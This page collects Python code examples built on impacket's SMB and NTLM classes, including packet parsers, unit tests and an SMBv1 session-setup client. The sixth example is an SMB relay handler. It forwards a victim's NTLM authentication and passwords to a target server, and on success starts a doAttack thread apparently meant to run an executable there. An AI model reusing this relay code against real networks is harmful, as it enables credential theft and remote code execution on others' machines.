Beispiel #1
0
def smbComSessionSetupAndX(packet, packetNum, SMBCommand, questions, replies):

    # Test return code is always 0, otherwise leave before doing anything
    if packet['ErrorCode'] != 0:
        if packet['ErrorClass'] != 0x16:
            return False

    print "SMB_COM_SESSION_SETUP_ANDX ",
    try:
        if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
            # Query
            if SMBCommand['WordCount'] == 12:
                # Extended Security
                sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
                    SMBCommand['Parameters'])
                sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
                sessionSetupData[
                    'SecurityBlobLength'] = sessionSetupParameters[
                        'SecurityBlobLength']
                sessionSetupData.fromString(SMBCommand['Data'])

                if struct.unpack('B', sessionSetupData['SecurityBlob']
                                 [0])[0] != smb.ASN1_AID:
                    # If there no GSSAPI ID, it must be an AUTH packet
                    blob = smb.SPNEGO_NegTokenResp(
                        sessionSetupData['SecurityBlob'])
                    token = blob['ResponseToken']
                else:
                    # NEGOTIATE packet
                    blob = smb.SPNEGO_NegTokenInit(
                        sessionSetupData['SecurityBlob'])
                    token = blob['MechToken']
                messageType = struct.unpack(
                    '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]
                if messageType == 0x01:
                    # NEGOTIATE_MESSAGE
                    negotiateMessage = ntlm.NTLMAuthNegotiate()
                    negotiateMessage.fromString(token)
                elif messageType == 0x03:
                    # AUTHENTICATE_MESSAGE, here we deal with authentication
                    authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                    authenticateMessage.fromString(token)

            else:
                # Standard Security
                sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
                    SMBCommand['Parameters'])
                sessionSetupData = smb.SMBSessionSetupAndX_Data()
                sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
                    'AnsiPwdLength']
                sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
                    'UnicodePwdLength']
                sessionSetupData.fromString(SMBCommand['Data'])

        else:
            # Response
            if SMBCommand['WordCount'] == 4:
                # Extended Security
                sessionResponse = SMBCommand
                sessionParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
                    sessionResponse['Parameters'])
                sessionData = smb.SMBSessionSetupAndX_Extended_Response_Data(
                    flags=packet['Flags2'])
                sessionData['SecurityBlobLength'] = sessionParameters[
                    'SecurityBlobLength']
                sessionData.fromString(sessionResponse['Data'])
                respToken = smb.SPNEGO_NegTokenResp(
                    sessionData['SecurityBlob'])
                if respToken.fields.has_key('ResponseToken'):
                    # Let's parse some data and keep it to ourselves in case it is asked
                    ntlmChallenge = ntlm.NTLMAuthChallenge(
                        respToken['ResponseToken'])
                    if ntlmChallenge['TargetInfoFields_len'] > 0:
                        infoFields = ntlmChallenge['TargetInfoFields']
                        av_pairs = ntlm.AV_PAIRS(
                            ntlmChallenge['TargetInfoFields']
                            [:ntlmChallenge['TargetInfoFields_len']])
                        if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
                            __server_name = av_pairs[
                                ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
                        if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None:
                            __server_domain = av_pairs[
                                ntlm.NTLMSSP_AV_DOMAINNAME][1].decode(
                                    'utf-16le')

            else:
                # Standard Security
                sessionResponse = SMBCommand

                sessionParameters = smb.SMBSessionSetupAndXResponse_Parameters(
                    sessionResponse['Parameters'])
                sessionData = smb.SMBSessionSetupAndXResponse_Data(
                    flags=packet['Flags2'], data=sessionResponse['Data'])
    except Exception, e:
        print "ERROR: %s" % e
        print "Command: 0x%x" % packet['Command']
        print "Packet: %d %r" % (packetNum, packet.getData())
        return True
Beispiel #2
0
 def test_negTokenResp3(self):
     token = smb.SPNEGO_NegTokenResp()
     token.fromString(self.negTokenResp3)
     self.assertTrue(self.negTokenResp3, token.getData())
Beispiel #3
0
def request_SMBv1(host, port=445):

    # start client
    smb_client = smb.SMB(host, host, sess_port=port)

    # start: modified from login_standard()
    # https://github.com/SecureAuthCorp/impacket/blob/master/impacket/smb.py

    session_setup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    session_setup["Parameters"] = smb.SMBSessionSetupAndX_Extended_Parameters()
    session_setup["Data"] = smb.SMBSessionSetupAndX_Extended_Data()

    session_setup["Parameters"]["MaxBufferSize"] = 61440
    session_setup["Parameters"]["MaxMpxCount"] = 2
    session_setup["Parameters"]["VcNumber"] = 1
    session_setup["Parameters"]["SessionKey"] = 0
    session_setup["Parameters"]["Capabilities"] = (
        smb.SMB.CAP_EXTENDED_SECURITY
        | smb.SMB.CAP_USE_NT_ERRORS
        | smb.SMB.CAP_UNICODE
        | smb.SMB.CAP_LARGE_READX
        | smb.SMB.CAP_LARGE_WRITEX)

    # NTLMSSP
    blob = smb.SPNEGO_NegTokenInit()

    blob["MechTypes"] = [
        smb.TypesMech["NTLMSSP - Microsoft NTLM Security Support Provider"]
    ]

    auth = ntlm.getNTLMSSPType1(smb_client.get_client_name(),
                                "",
                                smb_client._SignatureRequired,
                                use_ntlmv2=True)
    blob["MechToken"] = auth.getData()

    session_setup["Parameters"]["SecurityBlobLength"] = len(blob)
    session_setup["Parameters"].getData()
    session_setup["Data"]["SecurityBlob"] = blob.getData()
    session_setup["Data"]["NativeOS"] = "Unix"
    session_setup["Data"]["NativeLanMan"] = "Samba"

    smb_packet = smb.NewSMBPacket()

    if smb_client._SignatureRequired:
        smb_packet["Flags2"] |= smb_packet.SMB.FLAGS2_SMB_SECURITY_SIGNATURE

    smb_packet.addCommand(session_setup)

    smb_client.sendSMB(smb_packet)

    smb_response = smb_client.recvSMB()

    # NTLM challenge
    if smb_response.isValidAnswer(smb.SMB.SMB_COM_SESSION_SETUP_ANDX):

        session_response = smb.SMBCommand(smb_response["Data"][0])
        session_parameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
            session_response["Parameters"])
        session_data = smb.SMBSessionSetupAndX_Extended_Response_Data(
            flags=smb_response["Flags2"])
        session_data["SecurityBlobLength"] = session_parameters[
            "SecurityBlobLength"]
        session_data.fromString(session_response["Data"])

        resp_token = smb.SPNEGO_NegTokenResp(session_data["SecurityBlob"])

        return resp_token["ResponseToken"]

    else:
        return None
Beispiel #4
0
 def test_negTokenResp4(self):
     token = smb.SPNEGO_NegTokenResp()
     token['NegState'] = b'\x03'  # request-mic
     token['SupportedMech'] = smb.TypesMech[
         'NTLMSSP - Microsoft NTLM Security Support Provider']
     self.assertEqual(self.negTokenResp4, token.getData())
Beispiel #5
0
 def test_negTokenResp2(self):
     token = smb.SPNEGO_NegTokenResp()
     token.fromString(self.negTokenResp2)
     self.assertEqual(self.negTokenResp2, token.getData())
Beispiel #6
0
    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus = False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
            respData       = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != smb.ASN1_AID:
               # If there no GSSAPI ID, it must be an AUTH packet
               blob = smb.SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
               token = blob['ResponseToken']
            else:
               # NEGOTIATE packet
               blob =  smb.SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
               token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the 
            # authentication we are, we act on it
            messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. 
                # Let's send it to the target server and send the answer back to the client.
                smbClient = smbData[self.target]['SMBClient']
                clientChallengeMessage = smbClient.sendNegotiate(token) 
                challengeMessage = ntlm.NTLMAuthChallenge()
                challengeMessage.fromString(clientChallengeMessage)
                #############################################################

                respToken = smb.SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'  
                respToken['SupportedMech'] = smb.TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = str(challengeMessage)

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED
                # Let's set up an UID for this connection and store it 
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10
                # Let's store it in the connection data
                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                smbClient = smbData[self.target]['SMBClient']
                authData = sessionSetupData['SecurityBlob']
                clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'])                
                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY 
                    packet['Command'] = recvPacket['Command']
                    packet['Pid']     = recvPacket['Pid']
                    packet['Tid']     = recvPacket['Tid']
                    packet['Mid']     = recvPacket['Mid']
                    packet['Uid']     = recvPacket['Uid']
                    packet['Data']    = '\x00\x00\x00'
                    packet['ErrorCode']   = errorCode >> 16
                    packet['ErrorClass']  = errorCode & 0xff
                    # Reset the UID
                    smbClient.setUid(0)
                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    del (smbData[self.target])
                    clientThread = doAttack(smbClient,self.exeFile)
                    clientThread.start()
                    # Now continue with the server
                #############################################################

                respToken = smb.SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegResult'] = '\x00'

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 
            respData['SecurityBlob']       = respToken.getData()

        else:
            # Process Standard Security
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData       = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']
            #############################################################
            # SMBRelay
            smbClient = smbData[self.target]['SMBClient']
            clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY 
                packet['Command'] = recvPacket['Command']
                packet['Pid']     = recvPacket['Pid']
                packet['Tid']     = recvPacket['Tid']
                packet['Mid']     = recvPacket['Mid']
                packet['Uid']     = recvPacket['Uid']
                packet['Data']    = '\x00\x00\x00'
                packet['ErrorCode']   = errorCode >> 16
                packet['ErrorClass']  = errorCode & 0xff
                # Reset the UID
                smbClient.setUid(0)
                return None, [packet], errorCode
                # Now continue with the server
            else:
                # We have a session, create a thread and do whatever we want
                del (smbData[self.target])
                clientThread = doAttack(smbClient,self.exeFile)
                clientThread.start()
                # Remove the target server from our connection list, the work is done
                # Now continue with the server

            #############################################################

            # Do the verification here, for just now we grant access
            # TODO: Manage more UIDs for the same session
            errorCode = STATUS_SUCCESS
            connData['Uid'] = 10
            respParameters['Action'] = 0

        respData['NativeOS']     = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data']       = respData 

        # From now on, the client can ask for other commands
        connData['Authenticated'] = True
        #############################################################
        # SMBRelay
        smbServer.setConnectionData('SMBRelay', smbData)
        #############################################################
        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode